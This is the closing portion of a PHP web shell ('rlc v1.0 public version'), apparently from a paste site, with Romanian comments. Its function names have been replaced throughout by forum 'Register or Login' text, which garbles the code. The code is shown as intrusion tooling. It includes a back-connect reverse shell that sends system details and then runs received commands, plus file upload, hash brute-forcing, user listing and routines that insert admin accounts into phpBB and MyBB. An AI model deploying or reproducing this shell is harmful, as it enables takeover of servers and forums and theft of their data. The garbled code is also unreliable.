  1483. Register or Login($_POST['ip'],$_POST['port']);
  1484. if(!$connect){
  1485. $afiseaza='Error Connect';
  1486. }
  1487. else
  1488. {
  1489. You are not allowed to view links.
  1490. Register or Login($connect,"Back-Connection \n");
  1491. You are not allowed to view links.
  1492. Register or Login($connect,You are not allowed to view links.
  1493. Register or Login("uname -a")."\n");
  1494. You are not allowed to view links.
  1495. Register or Login($connect,You are not allowed to view links.
  1496. Register or Login("pwd")."\n");
  1497. You are not allowed to view links.
  1498. Register or Login($connect,You are not allowed to view links.
  1499. Register or Login("id")."\n");
  1500. You are not allowed to view links.
  1501. Register or Login($connect,proprietati()."\n");
  1502. while(!You are not allowed to view links.
  1503. Register or Login($connect))
  1504. {
  1505. $ia=You are not allowed to view links.
  1506. Register or Login ($connect,8192);
  1507. $mesaj=`$ia`;
  1508. You are not allowed to view links.
  1509. Register or Login ($connect,ValidExeCommand("whoami").'./'.$mesaj."\n");
  1510. }
  1511. You are not allowed to view links.
  1512. Register or Login($connect);
  1513.  
  1514. }
  1515. }
  1516. $afiseaza='Try in cmd command : netcat: nc -l -n -v -p <br>';
  1517. $afiseaza.='<form method="post" action="?action&backc">';
  1518. $afiseaza.='<input type="text" name="ip" value="'.$_SERVER['REMOTE_ADDR'].'" id="text">';
  1519. $afiseaza.='<input type="text" name="port" value="666" size="5" id="text">';
  1520. $afiseaza.='<input type="submit" name="submit" value="Start" id="but"></form>';
  1521.  
  1522. return $afiseaza;
  1523. }
  1524. /*************************Controler************************************/
  1525.  
  1526. if(You are not allowed to view links.
  1527. Register or Login($_GET['action']) && You are not allowed to view links.
  1528. Register or Login($_GET['home'])){
  1529.  
  1530. $continut=proprietati();
  1531. $continut.=executa_shell();
  1532.  
  1533. }elseif(You are not allowed to view links.
  1534. Register or Login($_GET['action']) && You are not allowed to view links.
  1535. Register or Login($_GET['list'])){
  1536. $continut=dirfile();
  1537. }elseif(You are not allowed to view links.
  1538. Register or Login($_GET['action']) && You are not allowed to view links.
  1539. Register or Login($_GET['upload'])){
  1540. $continut=upload();
  1541. }elseif(You are not allowed to view links.
  1542. Register or Login($_GET['action']) && You are not allowed to view links.
  1543. Register or Login($_GET['brute'])){
  1544. $continut=md5_crack();
  1545. }elseif(You are not allowed to view links.
  1546. Register or Login($_GET['action']) && You are not allowed to view links.
  1547. Register or Login($_GET['users'])){
  1548. $continut=rd_users();
  1549. }elseif(You are not allowed to view links.
  1550. Register or Login($_GET['action']) && You are not allowed to view links.
  1551. Register or Login($_GET['sqli'])){
  1552. $continut='Va fi implementat in urmatoarea versiune';
  1553. }elseif(You are not allowed to view links.
  1554. Register or Login($_GET['action']) && You are not allowed to view links.
  1555. Register or Login($_GET['about'])){
  1556. $continut=despre_rlc();
  1557. }elseif(You are not allowed to view links.
  1558. Register or Login($_GET['action']) && You are not allowed to view links.
  1559. Register or Login($_GET['backc'])){
  1560. $continut=backconnect();
  1561. }elseif(You are not allowed to view links.
  1562. Register or Login($_GET['action']) && You are not allowed to view links.
  1563. Register or Login($_GET['cms'])){
  1564. $continut=cmsCommand();
  1565. }elseif(You are not allowed to view links.
  1566. Register or Login($_GET['action']) && You are not allowed to view links.
  1567. Register or Login($_GET['cms']) && You are not allowed to view links.
  1568. Register or Login($_GET['phpbb']) ){
  1569. $continut=insert_admin_phpbb();
  1570. }elseif(You are not allowed to view links.
  1571. Register or Login($_GET['action']) && You are not allowed to view links.
  1572. Register or Login($_GET['cms']) && You are not allowed to view links.
  1573. Register or Login($_GET['mybb']) ){
  1574. $continut=insert_admin_mybb();
  1575. }elseif(You are not allowed to view links.
  1576. Register or Login($_GET['action']) && You are not allowed to view links.
  1577. Register or Login($_GET['logout']) ){
  1578. $continut=logout();
  1579. }
  1580.  
  1581.  
  1582.  
  1583. /******************TEMPLATE*********************************/
  1584. $html='<title>rlc v1.0 public version</title>
  1585.  
  1586.  
  1587. <body vlink="white" link="grey">';
  1588. $html.=rlc();
  1589. $html.='<ul id="tablist">
  1590. <li><a class="current" href="?action&home">Shell Command</a></li>
  1591. <li><a href="?action&list">List Files/Directory</a></li>
  1592. <li><a href="?action&upload">Upload</a></li>
  1593. <li><a href="?action&brute">Brute-force</a></li>
  1594. <li><a href="?action&users">Users</a></li>
  1595. <li><a href="?action&backc">Back Connect</a></li>
  1596. <li><a href="?action&cms">Make Me GOD</a></li>
  1597. <li><a href="?action&about">About New Version!</a></li>
  1598. <li><a href="?action&logout">Logout</a></li>
  1599. </ul><br><hr color="#3cbddd">';
  1600.  
  1601. $html.=$continut;
  1602. $html.='<br><hr color="#3cbddd">'.copyright().'</body></html>';
  1603. echo $html;
  1604. }
  1605. else
  1606. {
  1607. if(!You are not allowed to view links.
  1608. Register or Login($_POST['sesiuni'])){
  1609. echo $afiseaza;
  1610. }else{
  1611. if(You are not allowed to view links.
  1612. Register or Login("adler32",$_POST['pass']) == $pass & You are not allowed to view links.
  1613. Register or Login("adler32",$_POST['user'])==$user ){
  1614. $_SESSION['user']=You are not allowed to view links.
  1615. Register or Login("adler32",$_POST['user']);
  1616. $_SESSION['pass']=You are not allowed to view links.
  1617. Register or Login("adler32",$_POST['pass']);
  1618. }
  1619. echo '<meta HTTP-EQUIV="REFRESH" content="0; url=?action&home">';
  1620. }
  1621.  
  1622. }
  1623. function stylemenu(){
  1624. echo '<style type="text/css">
  1625. BODY {
  1626. background-color: black;
  1627. font-family : Calibri;
  1628. color : #3cbddd;
  1629. margin: 45px;
  1630. font-size: 12px;
  1631. }
  1632.  
  1633. #tablist{
  1634. padding: 3px 0;
  1635. margin:0px;
  1636. margin-bottom: 0;
  1637. margin-top: 0.1em;
  1638. }
  1639.  
  1640. #tablist li{
  1641. list-style: none;
  1642. display: inline;
  1643. font-size: 14px;
  1644. margin:0px;
  1645. }
  1646.  
  1647. #tablist li a{
  1648. text-decoration: none;
  1649. padding: 3px 0.5em;
  1650. margin-right: 3px;
  1651. border: 1px solid #3cbddd;
  1652. -webkit-border-radius: 5px;
  1653. -moz-border-radius: 5px;
  1654. -border-radius: 5px;
  1655.  
  1656.  
  1657. }
  1658. #tablist li a:link, #tablist li a:visited{
  1659. background-color:black;
  1660. color:#3cbddd;
  1661. }
  1662.  
  1663. #tablist li a:hover{
  1664. background-color:black;
  1665. color:red;
  1666. text-align:center;
  1667. border-color:gray;
  1668. }
  1669.  
  1670. #tablist li a.current{
  1671. background-color:black;
  1672. }
  1673.  
  1674. #but{
  1675. background-color:black;
  1676. color:#3cbddd;
  1677. text-align:center;
  1678. border-color:gray;
  1679. -webkit-border-radius: 5px;
  1680. -moz-border-radius: 5px;
  1681. border-radius: 5px;
  1682. }
  1683. #text{
  1684. background-color:black;
  1685. border-color:gray;
  1686. color:#3cbddd;
  1687. }
  1688. #textarea{
  1689. color:#3cbddd;
  1690. background-color:black;
  1691. border:1px solid gray;
  1692.  
  1693. }
  1694.  
  1695. </style>';
  1696. }
  1697.  
  1698. ?>
Add Comment
Please, Sign In to add comment